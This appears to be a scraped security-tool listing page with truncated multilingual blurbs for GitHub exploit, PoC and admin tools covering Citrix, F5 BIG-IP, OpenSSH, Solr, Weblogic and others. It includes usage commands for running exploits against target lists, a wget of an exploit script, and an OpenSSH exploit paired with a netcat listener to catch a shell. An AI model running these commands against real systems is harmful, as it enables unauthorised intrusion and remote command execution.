CVE-2023-4966

CVE-2023-4966 一个用于利用CVE-2023-4966 Citrix信息泄露漏洞（Bleed）的利用脚本 黑客已广泛利用此Citrix网关漏洞，本脚本支持并发，可对目标文件或单个目标进行利用 安装： root@kitploit: git clone https://github.com/sanjai-AK47/CVE-2023-4966.git cd CVE-2023-4966 pip install -r requirements.txt python3 exploit.py -h 单目标利用： root@kitploit: python3 exploit.py -d...

swaggerHole

SwaggerHub에서 비밀을 검색하는 python3 스크립트 소개 • 요구 사항 • 설치 • 사용법 • 출력 설명 • 감사 Created by Liodeus 소개 이 도구는 swaggerHub의 공개 API에서 비밀을 검색하는 과정을 자동화하기 위해 만들어졌습니다. 이 도구는 멀티스레드이며 파이프 모드를 사용할 수 있습니다 : 요구 사항 python3 sudo apt install python3 pip3 sudo apt install python3-pip 설치 root@kitploit: pip3 install...

OFFPORT_KILLER

.. raw:: html .. raw:: html KILLER PROJECT .. image:: https://img.shields.io/github/last-commit/TH3xACE/OFFPORTKILLER?style=plastic :target: https://github.com/TH3xACE/SUDOKILLER :alt: Last Commit .. raw:: html 수동 포트 스캐닝 잠재적 서비스 열거 도구가 마음에 든다면, 그리고 다른 도구를 개발할 개인적 동기 부여를 위해 +1 별표 부탁드립니다...

CVE-2024-50379-PoC

更多PoC见 https://pc.fenchuan8.com//index?forum=101158&yqm=DGR4X 脚本使用 批量检测： python poc.py -f url.txt 单个检测： python poc.py -u your-ip...

deepce

deepce root@kitploit: . == === /"""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // Webサイト Docker 列挙、権限昇格、コンテナエスケープ DEEPCE できるだけ多くのコンテナと互換性があるように、DEEPCE は依存関係のない純粋な sh で書かれています。利用可能であれば curl、nmap、nslookup、dig...

ApacheTomcatScanner

Apache Tomcat 서버 취약점을 스캔하는 파이썬 스크립트. 기능 다중 스레드 작업자로 Apache Tomcat 서버 검색. 여러 대상 소스 지원: LDAP 쿼리를 통해 Windows 도메인에서 컴퓨터 목록을 가져와 대상 목록으로 사용. 파일에서 한 줄씩 대상 읽기...

CVE-2023-32629-CVE-2023-2640---POC-Escalation

CVE-2023-32629 & CVE-2023-2640 : 権限昇格 CVE-2023-32629 & CVE-2023-2640 を使用した Ubuntu 権限昇格 bash ワンライナー。 完全に https://twitter.com/liadeliyahu/status/1684841527959273472?t=puhDAlZCy75s7UbdV-bFw&s=19 からパクりました 元のソースをリツイートしてください このスクリプトを自分のために Github に保存しておき、簡単に共有したかっただけです。...

CVE-2020-10148-Solarwinds-Orion

CVE-2020-10148 Solarwinds Orion CVE-2020-10148.py をダウンロードする root@kitploit: wget https://gist.githubusercontent.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965/raw/0d7db4f2ea5aacc0ada7b1a7b23f2ce8ba39315f/CVE-2020-10148.py Shodan で Solarwinds Orion を探す root@kitploit:...

VBoxCloak

VBoxCloak 악성코드 분석가들이 분석을 회피하려는 악성코드로부터 VirtualBox Windows VM을 숨길 수 있도록 도와주는 PowerShell 스크립트입니다. pafish 점수를 최소 몇 포인트 낮출 수 있습니다 ; 이 스크립트는 다음을 수행하여 이를 달성합니다: 악성코드가 VM 탐지에 일반적으로 사용하는 여러 레지스트리 키 이름을 변경합니다. VirtualBox 프로세스VBoxService, VBoxTray 등를 종료합니다. VirtualBox 드라이버 파일을 삭제합니다이 드라이버는 이미 메모리에 로드되어 있으므...

url-status-checker

상태 확인기 URL 상태 확인기 v2.1 Status Checker는 하나 이상의 URL/도메인의 상태를 확인하고 HTTP 상태 코드에 따라 분류하는 Python 스크립트입니다. 버전 2.1.0 기능 단일 또는 여러 URL/도메인의 상태 확인 향상된 성능을 위한 비동기 HTTP 요청 리디렉션 추적 관련된 모든 IP 주소 추적 상태 코드를 시각적으로 구분하는 색상 코드 출력 여러 URL 확인 시 진행률 표시줄 결과를 출력 파일로 저장 접근 불가능한 URL 및 잘못된 응답에 대한 오류 처리 사용하기 쉬운 명령줄 인터페이스 설치 1...

cve-2022-33891

cve-2022-33891 使い方: root@kitploit: pip3 install requests If you do not use the -d parameter, the dnslog domain name will be automatically applied for you. 如果你不使用-d参数，则会自动为您申请dnslog域名。 python3 cve202233891poc.py -u http://127.0.0.1 python3 cve202233891poc.py -f url.txt python3 cve202233891poc.py -...

httpstat

httpstat httpstat는 curl1 통계를 아름답고 명확하게 시각화합니다. 단일 파일🌟 Python 스크립트이며, 의존성이 없고👏 , Python 3🍻 와 호환됩니다. 기능 아름다운 터미널 출력 — DNS, TCP, TLS, 서버 처리, 콘텐츠 전송의 시간 분해 구조화된 JSON 출력 — --format json / jsonl로 안정적인 v1 스키마를 사용한 기계 판독 SLO 임계값 확인 — --slo total=500,connect=100 위반 시 종료 코드 4 반환 결과를 파일로 저장 — --save...

tscopy

TScopy 업데이트 2022-03-31 TScopy 소개 사고 대응IR 업무 중에는 파일시스템의 파일을 분석할 수 있는 능력이 필수적입니다. 때때로 이러한 파일은 사용 중이기 때문에 운영 체제OS에 의해 잠겨 있으며, 특히 이벤트 로그와 레지스트리 하이브의 경우 더욱 frustrating 합니다. TScopy는 관리자 권한으로 실행하는 사용자가 파일시스템에서 원시 위치를 파싱하여 OS에 요청하지 않고 잠긴 파일에 접근하고 복사할 수 있게 해줍니다. 유사한 기능을 수행하는 다른 도구로는 RawCopy가 있으며, 우리는 이를 사...

CVE-2020-15778-Exploit

CVE-2020-15778-Exploit CVE-2020-15778のExploit OpenSSH脆弱性 例: python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 Pythonスクリプトを使用する前に、netcatでポートをリッスンする必要があります。 例: nc -lvp 1234 1. スクリプト使用時のスクリーンショット 2. シェル取得時のスクリーンショット 2021-7-21 更新ログ: python-nmapを使用してホストの状態を確認 Usage:python3...

F5-CVE-2022-1388-Exploit

F5-CVE-2022-1388-Exploit CVE 2022-1388 のエクスプロイトおよびチェックスクリプト 使用法 単一ホストに対してチェック root@kitploit: python3 CVE-2022-1388.py -v true -u targeturl ホストを攻撃してコマンドをテスト root@kitploit: python CVE20221388.py -a true -u targeturl -c command ホストのリストを攻撃 root@kitploit: python CVE20221388.py -s true -f file...

ConditionalAccessDocumentation

PowerShell で条件付きアクセスを文書化する この PowerShell スクリプトは、Microsoft Entra の条件付きアクセスポリシーを文書化します。スクリプトはすべてのデータを csv ファイルとしてエクスポートし、Excel ブックとして見やすく整形できます。 すべてのポリシーを取得して文書化できるように、スクリプトは Microsoft Graph Beta API エンドポイントを使用します。 インストールと使用方法 1. PowerShell ギャラリーからこのスクリプトをインストールします（依存する Microsoft.Graph.Authenticati...

CVE-2019-0193

CVE-2019-0193 Solr DataImport Handler RCE RCE-Vuln jdbc D:\CVE\CVE-2019-0193\solr-7.7.2\server\solr-webapp\webapp\WEB-INF\lib\mysql-connector-java-5.1.48.jar root@kitploit: dataSource name="fromMysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysq...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP iControl REST認証バイパス脆弱性 オプション引数: -h, --help show this help message and exit -u url, --url url Target url eg:"http://127.0.0.1" -f file, --file file Targets in file eg:"ip.txt" 使用法 python3 CVE-2022-1388.py -u http://127.0.0.1 python3 CVE-2022-1388.py -f ip.txt リンク...

CVE-2015-1635-POC

CVE-2015-1635-POC MS15-034 HTTP.sys リモートコード実行検出スクリプト（MS15-034 HTTP.sys リモートコード実行POCスクリプト） コードの7行目に検出するIPを配置し、実行してください： python CVE-2015-1635-POC.py コードの7行目に検出したIPを配置し、実行します： python CVE-2015-1635-POC.py...

CVE-2017-10271

CVE-2017-10271 Weblogic wls-wsatコンポーネントの逆シリアル化脆弱性CVE-2017-10271検出スクリプト 使用方法 root@kitploit: $ python CVE-2017-10271 url さらに、ceye.ioのアカウントを登録し、提供されるIdentifierとAPI Tokenをコードの以下の部分に記入してください： 機能 WindowsおよびLinux環境でWeblogicにCVE-2017-10271のリモートコマンド実行脆弱性が存在するかどうかを検出します 現在はLinux環境でのみテスト済み...